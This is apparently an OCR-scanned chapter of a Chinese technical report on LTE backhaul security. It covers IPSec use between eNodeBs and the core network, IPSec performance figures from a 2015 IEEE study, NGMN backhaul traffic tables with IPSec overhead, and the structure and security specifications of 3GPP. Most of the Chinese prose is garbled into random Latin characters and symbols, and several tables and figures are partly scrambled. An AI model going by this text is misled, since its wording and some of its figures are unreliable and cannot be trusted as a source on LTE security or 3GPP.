#F? § RNC & B a PR fop o REFFL % 286 & LTE & ffe
S 4G B4532 K EPC ¥ eni it o #frs & B A i fié % IPSec WHp ¥ @4
2 oip? WA R E & LTE i § i it (Backhaul)? X4 % > & & 3G %
Bo® G e enR AT o LTE R R ana S8 B & 7 o i g i enipe e ~ ¢
%+ 2 3G
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4=

AR EFF T DR T 2 PR Tl {ilﬁiéﬁiﬁﬂ?‘é—*‘ X Fan e
JR > @ 2R 2 ‘F oo 4 Verizon Wireless % # 2013 & 3 * ## H 4 7 e

FdeA k" Network Extender” % 2> 48 { &7 iofd RIef st s L& F
WA BRI S A o

2. BRELREEH A F2 IPSec hR 7]
(1) FIRFY IS EFFT A AT DL LR o AT AL B
Bge 3 B hRAFEr G BB A T i1 8RG8 §42
FHE = o
(2 AT EHRFRIAFFFFF S e LHE LG 5%F  { Mk
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Q) FATREFFAPHMEAHLFRL 22 I FRAFASFRFL 2
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= AEF o
() AT RFFMEG B PET | 23k s3] IPV6 . Flpt i A 9 B B
* |Pv6 & ¢ ¢ 7 51 |PSec o
(6) v~ TRHEFT4m LTERAN Bl e R avin g o § 3 4o S B3| 2 8L o
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Heavy Reading s4f 4 # & 3fip|1 2017 # ¢ IPSec i i fFin#-¢ 1 73 £ GH4
LB 3-26)c XEFRFE 5T BB e B R BT S A B R
iz IPSecm 2 ¥ P T E IR F > foin iR L X 2B ER S HATY R E ¥
Tl s g (it B Re ¥ ) o (FHIRE » Tt IPSec AN F hicE § K 0
LEIEAREF S LTE R G £F @ % P v &0l ki pk(Backhaul) e it ¥ @ o ke
e ad LTERGEFPamait SR E% 2 E%H" L3 IPSec
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2012 2013 2014
mLTE Cell sites With IP3ec mLTE Cell Sites Without IPiec

W 3-26 Ak 23k LTE 8.3 * IPSec 2 3¢ iR

FR kR ¢ Juniper Networks

(=) IPSec $axii chfs 3

4 2015 # (h IEEE % *2f1 — k518 5 o F1% Bk~ 58RI IPSec $3¢ IP
End-to-End Delay (4- B8] 3- 27) ~ Jitter(4- ] 3- 28) ~ Throughput(4- 5] 3- 29) ~ Packets Drop
Rate(4-® 3- 30)% Tunnel Delay 8258 o & S @ &K 40T ¢

zpebigJk (IPEnd-to-End Delay) @ 31 & & ki b Flid P éng por T R > 10 4
FHEfeseEa A EF AL ERER -

52 Shah, J. L., & Parvez, J. (2015, March). Impact of IPSec on Real Time applications in IPv6 and 6to4 Tunneled Migration Network. In
Innovations in Information, Embedded and Communication Systems (ICIIECS), 2015 International Conference on (pp. 1-6). IEEE.
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AR A (Jitter): 4pk IP 3@;@%]; Pite gt BHER - 5 QoS ehdE & il
bi"‘(,ﬁ -E?‘;? | Bon mn—-?ﬁ' -5?5 'B‘@%@ﬁﬂiﬂ' &ﬁ%/ﬁﬁ’%mfﬁﬁ&m) J,—:» tsl
frts2 4:f p e crpF P Rz 4 B 5 183 e tsd o B Jitter = (ts4 — ts3) - (ts2 - ts1) o
@@?]iﬁ (Throughput) : H = pF /¥ ii’—:v@ﬂi%]ﬁnfa‘:iﬁ

#te f 4 5 (Packet Drop Rate) : IP #icdy £ (datagram) &t &5 IP & p¥ 975 & BR3¢
¢4 E o

w2t (Tunnel Delay) @ 44¢ i - B Erg chpr el » 29 & 7 =p8beh

W 3-27 g8 (2 Video + : VoIP)

7oL % & : Shah, J. L., and Parvez, J. 2015
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® 3-28 A4 (VoIP)

74 &R+ Shah, J. L., and Parvez, J. 2015

———
P —
~

W 3-29 ﬁ;ﬁ]f_ (% : Video + : VolP)

7o &R - Shah, J. L., and Parvez, J. 2015
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W 3-30 74 F (% Video + : VoIP)

744 &R : Shah, J. L., and Parvez, J. 2015

15T & 3-8 AP w0 R IPSec ¥ IPV6 fe gL Ae IPV6 *7 4 IPv4 4 it B BF ¥ 2.
PE-He e 7 @ﬁi&li}_ <R TF YR 0 U 3E K 3R7E_48,880 bits/sec T " 3] 36,554 bits/sec >
M GE A A ene R o B b 0.07 f) o wt BRI p 2 P TRt & R LR e
2o Mite tt_?é;@?]v‘ ATE RS BE TP R S R b R R~ SR Rea

PRBHLEHOT RS DR/ EHE R OERER T U ETEL o B F
KR BREEP NPS T UF IR 07 IPSec §®ite T 2 5 F A o IPSec £ RE R
Bek 2o e a2 0 PP o d LV ek TR EH AL T R EAEHP
e B i A3 40 1 IPSec 0 e 7 & 7 B ki ﬁﬂ@@?]f‘é_ o

A
by
=

a4

$ 3% BRETT ] 88
3.1

18 F4 bR IR 2 BT
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B3E (%1%) 42

LA WS

% 3- 8 IPSec #xs; v 2

Network Scenario
B IPv6 without | IPv6 with .II_PVG e |P.V4
IPSec IPSec unnef with
IPSec
;2 (bits/sec) 48880.7 38706.3 36554.1
3¢ i 4 (packets/sec) | 0.022 0.0255 0.0768
P kit & (sec) 0.0711 0.0723 0.0744
Voice | pr i 4 (usec) 0.0000149 0.0000197 -2.4
nRig uf ¥ (Sec) n/a 0.0031 0.0035
B aE & (sec) 0.0711149 0.0754197 0.0779024
B g £ (bits/sec) 933355.2 884961 867231.33
3t # i 4 (packets/sec) 0.0244 0.0255 0.0835
Video | ¥4 Bh2£ 2 (sec) 0.0149 0.0155 0.0159
"hiE uf & (sec) n/a 0.0065 0.0098
ek (sec) 0.0149 0.022 0.0257

F#L kR © Shah, J. L., and Parvez, J. 2015

Kf #2015 # 1 IEEE #% < fickg b o =0 1 (76 52 55 B (NGMN Alliance) % 2011 =
7 * i»#& 4 7" A White Paper by the NGMN Alliance - Guidelines for LTE Backhaul
Traffic Estimation”sF 2 o :& > 3F 4 1 & 3% &7 4o 3- 31 #+ 2. Last mile iz i# % £ UE
£ LTE base stations 4 & busy time = quiettime> 2 A ¢ * {ci¢ * IPSec } /i & #cdy
w8 ¥ s & 7 % aggregation £ core iz % % backhaul 22 eNodeB 2. Fé“é'ﬂ@;‘ii‘_ﬁ;;:}y;
FhHomMP A rHEERZAHABMP 2L - > F UM E L ARE AT RS (e
3GPP)» FEHI T2 FER G EF 27 & NamFEsgy %”f%é”a‘*’?%ﬁﬁfﬂ‘hie%i
pANNEE e AR S R
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T
== e aggregation o External
2 Networks
L Il ; Last mile
:? RS =1 - ] serves eNodeBs Transport
o - l i l_]
k3 4o J N network
UE traffic
served by eNodeBs

¥l 3- 31 LTE/EPC Transport network

7R &R - AWhite Paper by the NGMN Alliance - Guidelines for LTE Backhaul Traffic

Estimation

F 43 7| Last mile iz — ¥ £ 24 44 NGMN nF s & 5 & =54 5 F% % 4 busy
time - quiet time = f& - /=-Busytime # 7 # i UE = ¢ & * ¥ - A st 40T [ 3-32 ¢
ed - B UEF T sl 2 MR AG - > EREBUEZF 34 E
(Bandwidth) 3 ik 5 4 - @ Mo R 48w - B T35 > 5 busy time mean -

UE1 é
Mary
UEs

Busy Time Quiet Time

Maore averaging More variation
Spectral
Efficiency
bps/Hz bps/Hz4

Cellaverage
B40AM :
16QAM cell _
average
QPSK QPSK CE"EVEI’EE}?
et Hz UE1 | Hz
Bandwidth, Hz
a)ManyUEs/ cell b) One UE with a good link ¢) One UE, weak link

W] 3- 32 Cell Average Spectrum Efficiency

?#J_j\,},%—( : NGMN

3% WRELTE P %
%318 Ty Rt BATEE
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Quiettime P& w2 d 3 w5 - FUE®R™ 8- B A=k 280 5% UE 8
B P ERR BB UERa L s 2 %% 0 @ A G0 i@ﬁlg\ 2
P JF ik g UE St 5L 30 FF @ i 3 33 % (Modulation) 2 5% o 378 8 41 %
Flt o BB R Ar% 9B ﬁ‘ oAt & B 2 %1 #i(Modulation Order) » # &t &_
QPSK ~ 16QAM # 64QAM lﬁ:}ﬁ:’éﬁ"f G YA R - dta 2 @ % QPSK
T AR 0 B F AL F GEE SRLR Y 640AM Aot - ky T B UET
% P94 TR Jhsbag it Bl4oT B 3- 33 #4487 2. Peak 0 £ 4 150Mbps i# & (UE
Category 4, 2x2 MIMO, 20MHz bandwidth) -

Cell Tput 4
Busy time Quiet time
eak —>| : < eak
P Several active UEs One UE at a time ﬂ P
sharing the cell Cell Tput = UE Tput ||
\ |
Busy time o [ ".H J| | |
oy fl | \
mean - DACAMPAPLAMALA . s o0 A A0 A 1 A I
v II| |II 'II III | 'III ‘lll' ||| | | .'/|'|
0 \ L Lo\
FZZ" | ustration ;Z.Il::(:Hi—.‘:—;[)['.'-r' time

W 3- 33 Illustration of Cell Throughput

T4 %R © NGMN

) 3-34 & Last mile % £ Single eNodeB Transport Provisioning 7 & - NGMN ¢
5 i3k IPSec ESP ¢ #f ¢F 3 4v 14%+< overhead - % 1 {5 & T & (Backhaul) Traffic ¢ 3
25% overhead » ¢ 7z S1 User plane traffic ~ Control Plane ~ X2 U and C-plane = OA&M,

Sync % - { 4c _t Transport protocol + % 10% overhead » % IPsec + % 14% overhead

(optional) -

s e 91
B3 W PRILE T Y
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> Core network

S1Userplane traffic ,«M) 3
al
B 00

(for3 cells)

RAN / +Control Plane
o Y, +X2 U and C-plane
—

+0OA&M, Sync, efc
m +Transport protocol overhead
+|Psec overhead (optional)

®l 3- 34 Components of Backhaul Traffic

FH# kiR NGMN

% 3-9 & s AL B Backhaul Traffic sr#icdy & % - 4o % 12 Quiet time peak %3+ & & -
i Tricell eNodeB - #% i iz No IPSec 7 Scenario DL - 3: 2x2, 20 MHz, cat3 (100 Mbps)
f= Scenario UL - 2: 1x2, 20 MHz, cat3 (50 Mbps) % 5 - H Backhaul Bandwidth ) & 147
Mbps (105.3+42.0=147) » @ 12 ¢ 7 IPSec 4p ¢ Scenario DL/UL £ Backhaul Bandwidth
4 % 167 Mbps (119.6+47.7=167.3) » £ No IPSec 4p % 20 Mbps °

# 3- 9 Transport Provisioning for Various Configurations of Tri-cell LTE eNodeB

All values in Mbps Total U-plane + Transport overhead
Single Cell Single base station| X2 Overhead No IPsec IPsec
Mean Peak Tri-cell Tput | overhead|4% overhead|10% overhead|25%
Scenario (95%ile
(as load-> | @ low |busytime| peak |busy time busy time| peak |busytime| peak

infinity) | load) mean | (95%ile)| mean | peak | mean |[(95%ile)] mean | (95%ile)
DL|1: 2x2, 10 MHz, cat2 (50 Mbps) 10.5 37.8) 31.5 37.8| 1.3 0 36.0| 416 41.0 473
DL|2: 2x2, 10 MHz, cat3 (100 Mbps 11.0 58.5) 33.0 58.5) 1.3 0 37.8 64.4 42.9 73.2
DL|3: 2x2, 20 MHz, cat3 (100 Mbps 20.5 95.7 61.5 95.7 2.5 0 70.4| 105.3 80.0 119.6|
DL|4: 2x2, 20 MHz, cat4 (150 Mbps 21.0] 117.7) 63.0 117.7) 2.5 0 721 1295 81.9 1471
DL|5: 4x2, 20 MHz, cat4 (150 Mbps 250 1231 75.0 1231 30 0| 858 1354 97.5 153.9|
UL[1: 1x2, 10 MHz, cat3 (50 Mbps) 80 208 240] 208 10 0 275 228 312 26.0
UL|2; 1x2, 20 MHz, cat3 (50 Mbps) 150 382 45.0 38.2 1.8 0 51.5| 420 58.5) 47.7
UL|3: 1x2, 20 MHz, cat5 (75 Mbps) 16.0]  47.8 48.0 47.8) 1.9 0 549 525 62.4 59.7
UL :j':p’g;zo MHz, cat3 (S0 140 469 420 469 17| o 480 518 546 588
UL|S: 1x4, 20 MHz, cat3 (50 Mbps) 26.0 46.2) 78.0 46.2 3.1 0 89.2 50.8 101.4 57.8

,?57}; j\,/}ﬂ : NGMN

A aggregation ¥? core 1 Backhaul Bandwidth > %% T 8] 3-35 % [§) 3-36 > 12 2\ ¢
f % 12 Scenario DL - 3: 2x2, 20 MHz, cat3 (100 Mbps) % —ﬁ Downlink > ~ % 10 A& Tricell
eNodeBs % % 700 Mbps> @ Uplink #* {7 55 Scenario UL - 2: 1x2, 20 MHz, cat3 (50 Mbps)
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+ 575 £ 500 Mbps ° 4% 3x + f& % 3] 10,000 & Tricell eNodeBs - B] Downlink/Uplink
B E 5 5 1200 Gbps -

single cell eNodeBs
4,123 6 9 12 15 18 21 24 271 30
| ==5: 4x2, 20 MHz, cat4 (150 Mbps)no IPsec ’ 1000
0.9 | =——a4:2x2, 20 MHz, cat4 (150 Mbps)no IPsec | {
08 ==3: 2x2, 20 MHz, cat3 (100 Mbps)no IPsec / |
’ w—2: 2x2, 10 MHz, cat3 (100 Mbps)no IPsec / [
0.7 | ——1:2x2, 10 MHz cat2 (50 Mbpsao IPsec /‘ |
, 06 L~ |
205 1 .8 %
= 04 - l o j
¥ / i
03 1 /T |
0.2 4 ‘ {
0.1 4 \
0 - 0.01 ‘ ‘ : :
6 1 2 3 4 5 6 7 8 9 10 1 10 100 1000 10000
Tricell eNodeBs Tricell eNodeBs

B 3- 35 Downlink Transport Provisioning (No IPsec)

7o %R 1 NGMN

Ghps

1 -
0.9 -
08 -
0.7 -
06 -
05 -
04 -
0.3 -
0.2 -
01 -

single cell eNodeBs:

123 6 9 12 15 18 2
=5 1xd, 20 MHz, cat3 (50 Mbps) no IPsec
=—4: 1x2, 20 MHz, cat3 (50 Mbps)'no IPsec
=3 1x2, 20 MHz, cat5 (75 Mbps) no IPsec
—2: 1x2, 20 MHz, cat3 (50 Mbps) no IPsec
= 1: 1x2, 10 MHz, cat3 (30 Mbps) no IPsec

24

L~

A
s

AT
P cat
T |

0

T2 3 4 5 6 7 8 9

Tricell eNodeBs

1000 -

100 -

10 -

Gbps

0.1 1

0.01

100
Tricell eNodeBs

1000 10000

W 3- 36 Uplink Transport Provisioning (No IPsec)

FA %k © NGMN

B ek g @ IPSec ehE AR 0 % B 3- 37 % Downlink shfiiR T o i
AR S NP L 1A% T e
e = 4 = 3 s e 93
¥ 3% WREMT X Y
$ 318 FTXpEENS IR kATER
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single cell eNodeBs

4,122 f, 9 1;: 15 18 271 241 27 30 1000
09 " 2x2, 2 MHz, ca|4 (150 Mbps)IPsec
Y 4: 2x2, 20 MHz, catd4 (150 Mbps)no IPsec
08 -®= 2:2x2, 10 MHz, cat3 (100 Mbps)IPsec | L
——2:2x2, 10 MHz, cat3 (100 Mopsino IPsec_ g 100 +——
07 | | s
" 06
w
S 05 210
o o
04
03
1
0.2
|
0.1 3
0o 1 2 3 4 5 6 7 8 9 10 1 10 100 1000 10000
Tricell eNodeBs TricelleNodeBs

W) 3- 37 Transport Provisioning with 1PSec

Fﬁ#_lj\,);;, : NGMN

KA GHETHRLEED T AH T PRSI 7o PRy s 9 p
IPSec g7 g $oci ¥ RBP4 F O BRAT FNAH AT EEFHN

3
IPSec3t5 § 3 2 & 1> i ¥ % ecds IPSec it (T3 ik FiE2 T i3 £ 4 4t oo

o n a2 N o 94
3% WRERT X HEF Y
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$328% FTHHRRIHRELRRIINARL BATEY ]

PR DT B0 R B T G R el VAR SR RN AT o B2 X BGPP s e T
S S GRS S AL R S RN RS E R R LT
B 2 Wb (61 § § 235l B o - T R kR0 F & 4IRS
B iife s SBEARB BT ¥ > M RRRRIFEATTEF A FTihe NEHTHEY A
SRS P AR HRl IR T 2 R 3GPP g 0 @ Rl GRAET 12 Y £ T )
(Common Criteria) {528 7 4L &2 45 3% (Federal Information Processing Standards
FIPS-140) z_ & plf% 4 -

Bk G- Bie o APdg 48 3GPP e i 2w sehpeg o 822X 3GPP %
TE SR R RS REE L TR R S 0 AL - AL 2R
FERAEG DN F o NP E 2 F xRk ot oh > BGPP e RS
£

N

X
CRBATLE 3R EIHER L A IS T R 8 iR

VAR

Z >
iRy o N E B A 2 EM o S L2 (L AP A Bom e bRl 25 B

Bofsm BINA Mg AL enT 4 A SRR PIRE S £8P (CC) {rmnF
LRJEHEE (FIPS) e R BRGS0 R E M2 B g 7 kAR 6 4] Lk iz g o
feRlehsg pophoF EEFIONERERGE 2 P 0oa AR Rh% 2R TRk
et - ko A EET L FIREEOE SR B 2RF O BRF TR ok
%°E%*ﬁ#ﬁ%$ﬁﬁﬁ%§ﬁﬂmﬁﬁ’Uiﬁﬂm&iﬁoﬁmm1$%§

BT EP o BT TR R R E R T OB A e PR o BRAR A
iRl £ 3 %A E > Y ¥ % FIPS 140-2 g iplin Az o 538 % L 7 f24p B 18R
AR T YA RPEARRIT R PRI T 5 STkt e

3% BRETY R %

¥ 32 & FTXRPHREZRPIIIARL BATARE A T
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- “3GPP st i g

3GPP 12 %45 3rd Generation Partnership Project » & = > 1998 & 12 » >
B 4eenp 5 A ITU (lnternational Telecommunication Union) % IMT-2000 :*+ %
Rfe o KA NI g R GSM F] UMTS % s it dp b 4w o @ 15 3GPP
it F BB £ 726G 3G 4G ¥ LR Fhid R en| R R -

ITUSZ B2 GO il o f 3] LR SR 2 4 e o SO 3 % 1 17 -
ITU #] 2% > 4 % 223k (Recommendation ) » &4 : ITU-R M.687 ~ ITU-R M.1223

o IMT-X ( International Mobile Telecommunications - ﬁF—I‘ B IMT) &_ITU % £ guE ik

AT LA H ¢ IMT-2000 4_3G i 30 $Lk2R 15 > IMT-Advance 4G i 3t s o
IMT-2020 B &_5G i ek fiF4 12 o Release #1% % chsh5 8 3GPP %3t *FL# i )
b rGESL B 3-38)-3GPP el 2 &7 L &R T IORIERIITU
BITU hg s TR F B IR 2B A5 7 & IMT-X & 3R chijis o

[1999] 2000] 2001] 2002 2003] 2004] 2005 2008] 2007] 2008 2009] 2010] 2011]2012] 2013 2014] 2015 | 2016] 2017] 2018 | 2013

[ [[cSMIGPRS/EDGE enhancemenis (_ 2G )]

[ W-CDMA
Release 4 | 1.25Mcps TOD /
' . 36
Release 5 | il lMS; \
Release 6 | HSUPAI MBMS, IMS¥__ 4>
l Release 7: [ HSPA+ (MIMC), HOM etc.) >
ITU-R M.1457 ___—Release 8
IMT-2000 Recommendations Release 9

Release 10 I

Release 11

j / Release 12
[t
IMT-Advance Cvance & Release 13 -

e Release 14 m
IMT-2020 @

B 3- 38 3GPP & IMT Timeline

FH %R 1 3GPP

5 3GPP Beyond 4G & il AR 4R A2 jFit > £ % % > 2015/4.
5 ITU official website — About ITU - http://www.itu.int/en/about/Pages/overview.aspx
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(- ) =3k
3GPP® chip s & R Pt A g5tk g ffr2 @ % Rept

oz Léigi: s m 2} ‘?j g ﬁ EIJK'_ ﬁ;mé&'—}’i ]”Tﬁ" /‘ %

RS S VR
L e AR T A B
BE & h{ e £ i) & (Organizational Partners) -
3GPP W& = Bk f & BERR B DRR R TP LA L E B M
if e ¢ 7 ARIB (pA)- ATIS(Z®)~ CCSA (* ®)~ ETSI (&)~
TSDSI (e )~ TTA (4B )~TTC (P &) f F 4% 3GPP i & ch 4+ 3¢ B
wo B AR R R E T g A 3GPP I TR b » B EEDT R
® AR A S AR e R R e
ARIB : 2 # % Association of Radio Industries and Businesses » £ p * - FALH
AACAREFFL CPREEERMTIM AT i LERTR F R
Pt NEARRY AEPRRT AL -
ATIS: > # % Alliance for Telecommunications Industry Solutions » 3 %4t - &
TEOREIFTAEUNAAMEE LGB, TLFPEF A FI 2L
%iﬁiﬂﬁw‘fﬂo Pa ATIS A & FE W 5C R FEE R LM F 2 F 7 Faip
i
CCSA : > # % China Communications Standards Association » 2002 # 12 * 18 p
MARD AR NR g PR H AN EE P 2 E R E
o E s oo~ 2R ORAGIRE X2 REFOUYR TE kT 3R
i ARG A &P o
ETSI : >4 % European Telecommunications Standards Institute » E4% &< 323 o
BREER - o f AT A ST AAPMAIRE ¢ Z BB RE C RRRR
BAGL AR & PR
TSDSI - > # % Telecommunications Standards Development Society > India » &_-

l]}':r’)ir‘rhﬁ' J[ﬁfﬂ__g-# I’E’F'B”? few s l-@mj IF’;}_",\’FH btij'ﬁ., f*@g}igj\?ﬁ

%5 3GPP official website — Partners » http://www.3gpp.org/about-3gpp/partners
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ik g 3 & o
TTA: 2 # 5 Telecommunications Technology Association » &£ — i iz R Fc fHE ™
?E,;%l',)flj‘f‘: ‘% v o B3k 4 —r'\—F\—‘JL i m;fi;}j;g R S PIZE N IR Y o P aE
2 AT Lk Wk B AR M A K R
TTC: 2 4 % Telecommunications Technology Committee’ £ — & p & 25 {3 >
FEARF TR SR ] o 52 R o 2 g ¥
J’FL#'*}’# [FTE R A HE P R R kit g % 2 E I
b AR FRTEH H L REPRTE S B E R L L EPE

( Market Representation Partner ) & % ;2 5 #/ 4% 8 nf ' > v 8 4% 53 3% & 3GPP # 3

HFR g ER > A HFRER PRI HFALETPELF UMTS

Forum ~ GSA ~ Small Cell Forum ~ NGMN Alliance % (4r# 3-10) -

£3-10 B HR 4 & e A4

Organisation Website
IMS Forum http://www.imsforum.org
TD-Forum http://www.td-forum.org/en/

(Not currently available Jun-15)

GSA http://www.gsacom.com/
GSM Association http://www.gsmworld.com/
IPV6 Forum http://www.ipv6forum.com/
UMTS Forum http://www.umts-forum.org/
4G Americas http://www.4gamericas.org/
TD Industry Alliance http://www.tdia.cn/
Small Cell Forum http://www.smallcellforum.org/

Mobility Development Group (formerly

http://MobilityDG.
the CDMA Development Group) ttp://MobilityDG.org/

Cellular Operators Association of India .
http://www.coai.com/

(COAl)
NGMN Alliance http://www.ngmn.org/
TCCA http://www.tandcca.com/
AL kR - 3GPP
F3F WPRERETEHEEY %8
¥ 32 & FERRIEE Rl hoATAEEAT
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Hois bl sy 38 ¢ im % R (Observers ) LR 5 7 & w8k & (v i enf
RS S F IR R s A s R R S RS R
ARG s 2P g RN U P g RS % 3GPP SRR E 1
Pl ¢ 2902 2375 H 04 »P < 3GPP chi s & B 2 B 44 3-39 ¢

o

Referringtospecs | + B8P~
reTr

Dmloplng Mobllo
Developing Wireless
Input | AN/MAN specs =

A CLOBAL INITIATIVE
< IEEE o
Referring to 3GPP e e J
specs
{conguted by Crapgprenc Terminal certification
individual members) @ Specs based on 3GPP specs
Partners of 3GPP
9 Referring to 3GPP specs Terminal
for the local specs Certification
. OGCF
Organisational P~
Partners 7

atis-

wan)

ARB €
LC="

(CHINA)

ETSITT__\
N\

(EUROPE)

TN

® 3- 39 3GPP relation diagram

AL %R : 3GPP

=) ERER
3GPP th sk 24 e 3 BEMIF(4r# 3- 11) > p =i g & F3+F £ 7] = (Project
Coordination Group » PCG) ~ #j#w4L ¢ | ‘e (Technical Specifications Groups » TSG) » 1
% 1 i%] 2 (Working Group » WG) - 3+ % & i¥/] 2 (PCG)L 7 & & ;i—%f;%%ﬁﬂﬁ%&’ i

cATE A EEER ¢ 4.5 hitp//www.stha.org.tw/download/communication%20workshop/1040203.pdf » 1 7 e 33 7 # £ 4
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3GPP %48 ?x L FRE T o PR 2(TSG)E 1§ #1528 8 2o e &

¥

TSG GERAN: § # & % 2G/3G & & 73 B~ e i 0 4137 & s3E GSM/EDGE i 575

B2 40 B ¢

TSGRAN: f §f (78 HAR @R 3 Bt P RIGE R % FH ALY h@E R/ 6 3

UTRAN - @ % UTRA/E-UTRA network = it ~ 5 RE& /i & coip B 245 o

TSG SA: § FIRIFE J SR> ¢ 7 BRI R T F a2 R

HA o MR FRBTSC g (FEL TR ET T -

TSGCT: f # P @bl & 5% Scnk e i B & 548805 - %
7 7 Z

TR e B AR B AR ) 2 S o

TSG & T K J £ 5 & HATRAL S R st ena 18] e (WG ) @ & B 3 piep B eh
RAE K€L WG mgéﬁ‘ AEE S FHER LA P FIRL L& BILHE TSGSA

IWG2 (%) & WG3 (% 28)» 117 B8 % 2 Ap M e -

4 3-113GPP %## %

Project Co-ordination Group (PCG)

Cam RN TSG RAN TSG SA TSG CT
Radio Access Radio Access Service & Systems Core Network &
Network Network Aspects Terminals
GERAN WG1 RAN WG1 SAWG1 CTWG1
Radio Aspects Radio Layer 1 spec Services MM/CC/SM  (lu)
RAN WG2
GERAN WG2 Radio Layer 2 spec SAWG2 ﬁ]-{-e\r/\\//v%rskin g with
Protocol Aspects Epaeotlzlo Layer 3RR Architecture external networks
RAN WG3
lub spec » lur spec - CTWG4
CERAN WS | luspec a3 MAP/GTP/BCH/S
9 | UTRAN O&M y S
requirements

5 3GPP official website - Specifications Groups Home » http://www.3gpp.org/specifications-groups/specifications-groups
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Project Co-ordination Group (PCG)
CT WG6

RAN WG4 SAWG4 Smart Card

Radio Performance Codec Application

Protocol aspects Aspects

RAN WG5 SAWG5

Mobile Terminal Telecom

Conformance Testing | Management

RAN WG6 SAWG6

Legacy RAN radio | Mission-critical

and protocol applications

TRk R
(=) FFH Lk

3GPP &% 4| = /i 424§ 3- 40 H #5117/ 2 (WG) 28 hF ¢ &3t ik

j#=4% £ (Technical Report » %5 % TR)% ﬁqﬁ#ﬁ.g‘s@ﬁechnical Specification >
e (TSG)énft i o — & R TSG #408 » e § 8- H LK

L

£p (IR A R AT -

Technical proposals and

-

Member companies

nnnnnnnnnnn

Project Coordination

Group(PCG)

Technical Specification

Groups(TSGs)

contributions

Local
specifications

Technical
pecifications

Standardization process

in each OP

0
%

H Partners

Organizational
Partners(OP)

TTC, ARIB, ETSI, TTA, CCSA,
ATIS, TSDSI

Market Representation
Partners(MRP)

UMTSForum ~ GSA ~ Small Cell
Forum ~ NGMN Alliance etc.

B 3- 40 3GPP Standardizations Process

FAL kiR : 3GPP

FORPRETE S
28 FTHARRRES Rl B ATEE
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3GPP ch¥ & LA & 5 11T XYy & XXYyy e85 0 B xfoy 3R H Bk
F » bl4e 1 09.02 ~ 29.002 > @

3

]

EE- DA h LA BT XX R A DI R
Jorl(series) o o W AERIFE A AT 2 0 FP > KB R MAPET 2k
S AR L 33 4 7 (4o ] 3- 41) -

Subject of specification series 3G and beyond /
GSM (R99 and
later)

General information (long defunct)

Requirements 21 series

Service aspects ("stage 17) 22 series

Technical realization ("stage 2”) 23 series

Signalling protocols ("stage 3") - user 24 series

equipment to network

Radio aspects 25 series

CODECs 26 series

Data 27 series

Signalling protocols ("stage 3") -(RSS-CN) 28 series

and OAM&P and Charging (overflow from

32.-range)

Signalling protocols ("stage 3") - intra-fixed- = 29 series

network

Programme management 30 series

Subscriber Identity Module (SIM / USIM), IC 31 series

Cards. Test specs.

OAME&P and Charging 32 series

Access requirements and test specifications

I Security aspects 33 series

UE and (U)}SIM test specifications 34 series

Security algorithms (3) 35 series

LTE (Evolved UTRA), LTE-Advanced, LTE- 36 series

Advanced Pro radio technology

Multiple radio access technology aspects 37 series

Radio technology beyond LTE 38 series

GSM only
(Rel-4 and
later)

41 series
42 series
43 series

44 series

45 series
46 series
47 series
(none
exists)

48 series

49 series

50 series

51 series

52 series

13 series
(1)

(2)
(2)
55 series

GSM only
(before
Rel-4)
00 series
01 series
02 series

03 series

04 series

05 series
06 series

07 series

08 series

09 series

10 series

11 series

12 series

13 series
(1)

(2)
11 series

(4)

W 3-41 24 4 S04

B

§ T % R 2 RN A2 BATARET
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(2) FEEHPRST 22 HBELP

3GPP . 2008 & B 4-4f &3] (78 54 4G LTE 4% > j&_Release 8 - = 3|
RteeRelease 14 ° R ged@ e ¢ 7 7 3F 5 M AAEHE  BARE A ~ AKX 2R EF
Fod P wz ip2e 2dfshang > 5 BB % TS 33.401-TR 33.820 4+ TS 33.320
TS 33.401 & {7 574 % SL7f e 224 - j& Release 8 F| Release 13 *K%&.ﬁsﬁ%
A7 o TS 33401 ¥ 1387 6 a4 et cn® > A A %45 o TR 33.820 £_% 3 444k
A AHEEZ 2TRIRER o WA AR ERTRB AR T @ X I H% 2P AL
§ > 4701 3GPP 4w £ 4HHcA A sk T 0h B Fo— BAREAR G o TR 33.820 2009 # %
# TS 33320 #rB~& » A FF L #7245 (Release 13) o 12T 2} ik = B AR himIt AR

o

%Eﬁ_‘pg o

1. TS33.401

7 3GPP 33.401 %4> ¢ 1 & 4 %5 3GPP & suff fpiw it ( System Architecture
Evolution, SAE) «hZ /1 %5 < 4% ¢ 27 FHERDL 2048 18 (51 F ) £
BRocRREOEE (52 %) G0 Bga> S8 mp 3 (5 %) &2 MME
AR enE 2484 (F ~F ) 3G it UTRAN 2 (76 57 e i i cn® 2484 (%4
F ) B3 2G i GERAN & (& 4 R 2 BFehd 24 (513 ) i 8 % >
MM E 0 & G RIS R S SL A G Rk S IMS F 2841 % o

BRE- B Fr R AALE 2P 1T T B 4G RmE 2B 4TIRE
P e & FRBEEERE 2D 2 EE 2D @Y F2 2 (DB &% 2 (V)
AR K T T 3 (V)OM,;W& LR R AR LA e R MRE G M

L PR EATEE G AR KB ROE > o B K& 2

%ﬁoﬁé’?ﬁﬁﬁafxiigﬁwg%

)
(dm
39
-l
prind
&
w3
=
) >
& by
F_L
o
P
"(F
A
=
3
A
B

FIFARE 204 ESIRRY Sl RPo RESOE 22 (51)-

FAREET AR (5.2) AHF 2F R (53) % 450 R FIPre R FE
F & 2ebEoul o EwmehiuE & & TS33.102 1511 § & o gk & chahn] £ IMEI
B ong e R E G TS33.102 ¢ 512 F & ¢ o Mgt > @ %5 S1 e
X2 RE AR EL - PR H KRR “f?%ﬂ?ﬁ% i o TR A2
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e EEAQ ki frde Berig 5% o A5 4 P 27 4 R kel 0 B RpE o 2
P R R T F AR AR SRR E o R e gt UL T R
B ¢ 5 NASfoRRC 4B o 4ok @ % F £ 3 @k L B2 P g Bl 7

S0 F T X 2PFIE T TR e o R F R
FRRFRLE G R D FE e F L ek e RERT o #Y F s %

5.3 & ¢ 5 P 7 Axbend 23 Ko PP R 2T REE Y A0 i
g v oo ZAAI RSN E AR F R G DT ITERY R EAETPRE
Poo Bl HAnpElE > B R B ER G e B o R A AT
d TG ERGRE oD Ak OM 2 BFenE i L F R F B REIIE 2R EE R
BELAMEFERF o d N AU ADTETF S 445 TL EH/ATE 2y R ik
PR %G B dd nfEh o BER Y F gy BER G R RO R %
AL o e SUX2 1 ahip I £ BER TR R e IRk 47 R ARIENS

Y

ER AP S

FARFHRT FEXFEAP PRI DT 2 A o F A UTRNEE ST
(Authentication and Key Agreement )-#2. & 5 3P £ 44 24 ch~ it ¢ 7 USIM~UICC -
AUTN ~RES % > i¥wp 3P 2 & TS331024L ¢« £4x4 2 h> X € AAFL 5w
